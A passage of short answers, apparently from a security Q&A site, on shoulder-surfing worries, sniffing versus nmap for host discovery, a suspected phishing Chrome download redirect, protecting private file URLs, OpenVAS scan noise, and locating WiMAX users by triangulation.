Did you check the tables that surround you (and the people sitting near you who could be watching you)?
Are you sure there are no hidden cameras recording you from intrusive angles?
Are you sure there is no hidden microphone underneath your table to record your keystrokes (which can aid reconstructing the letters you type using sound-to-microphone distance vectors)?

and last but not least

Are you really sure you want to use such an important password in a public place like this?

Wrapping it up...

Let's be honest — no one will use eye-tracking when there are plenty of alternatives to get what you think is worth securing. Compared to eye-tracking worries you describe, those alternatives will certainly provide easier options to gain access to your secured data.

But assuming the data you plan to enter in your device is really that confidential, I would take a coffee-to-go and look for a more trusted place to enter that data/password/pin/code/whatever.

In all other cases, it's time for a little reality check to prevent the security-related paranoia that hits us all every now and then…

via http://xkcd.com/538/


Is using a network sniffer for host discovery a viable option?

Passive sniffing requires that the sniffing device is able to see traffic from the hosts that you want to discover. This is made difficult in a switched environment that segments traffic.

Active scanning, like nmap, reaches out to hosts to see if they are alive and overcomes the problems with passive sniffing.


Unusual Google Chrome Download Redirection

I assume this URL re-direction activity as suspicious (Phishing) due to the below reasons. You can visit this site to know more details.

Google never requires sign-in to download chrome binary.
https[:]//chr-183746449-dot-googwebreview[.]appspot[.]com is not an official Google site but a random site hosted in appspot with SSL(GCP domin) which mostly requires Gmail authentication to access (through Firebase).
Your final URL pretend to show Chrome browser features page but the actual site is https://www.google.com/chrome/browser-features/.
Anyone can deploy a random application in Google Cloud with unique hostname having domain xxxxx[.]appspot[.]com so your specific URL is not shown as suspicious in Virustotal.

As stated in the comments, many users are facing such re-direction so nothing to worry about your specific system or internet. This might be a local cache / DNS configuration issue and you may report it to chromium team.


How to to make a file private by securing the url that only authenticated users can see

One solution is to forbid access to the folder where the sensitive files are stored, so that it is not possible to access them directly. For example, place these files under http://siteis.com/secured_uploaded_files/ and place a .htaccess file there (for apache) to prevent access. You can also place the files outside the web server's document root.

Step two is to write code for the following behavior:

URL: http://siteis.com/getfile?id={long_random_identifier}

When the above url is accessed, the server checks if the user is authenticated and authorized to access the resource identified by the given identifier.
If the checks are successful, read the file from its location using server side code and stream it in your response.


Bizarre series of web errors from vulnerability scanner OpenVAS - is this malicious?

Yes, it probably is malicious. If you are hosting anything on a public IP then scans such as these are an everyday occurrence.

The fact that the user agent hasn't been changed to hide the fact that it is a scanner suggests that it is either a novice or a University research project that ethically is required to advertise scanner use.

The best protection against attacks like these is a multilayered defense involving Web Application Firewalls (WAF), locked down http servers and whole host of other approaches.


Can WiMAX track its users' geo position?

WiMax is a radio communications standard, so locating the origin of a broadcast signal is of course possible whenever you're transmitting.

As implemented in cellular networks, such as LTE, the coverage will overlap and the protocol will provide means of switching between masts as you move between cells. This means you will likely be within contact from two or three masts at any one time, hence triangulating your location is completely possible whenever your device is on the network, just as it is with current GSM cell networks.

As far as co-operation from your device, of course if you can control when your device transmits, you can make it difficult to determine your location by only communicating with a single mast at a time, meaning you can only be determined to lie somewhere on a circumference at a radial point that is the determined distance you are from that mast, bearing in mind however that you will usually also be identified as being on a certain arc at that distance which is usually 120 degrees or so. This is known as the azimuth of the mast you're connected to.

As soon as you communicate with two or more masts, your position becomes very precise. The patent you referred to covers determining your location from two base stations meaning your location is an estimate of being somewhere in the regions where the two range rings overlap. In practice, a few things are different from the image below. First as an azimuth is known, depending on the length of its arc it might be enough to rule out one of possible intersects (that would exist if it were a single radial antenna), meaning you location is anywhere where the lines are intersecting (a physical area in practice). Secondly the lines shown below would typically be thicker indicating that the area you are within is only known to a given precision, which I recall is still usually enough to implicate you as being in a certain building (say, an area of 20 metres that looks roughly like a square on a map).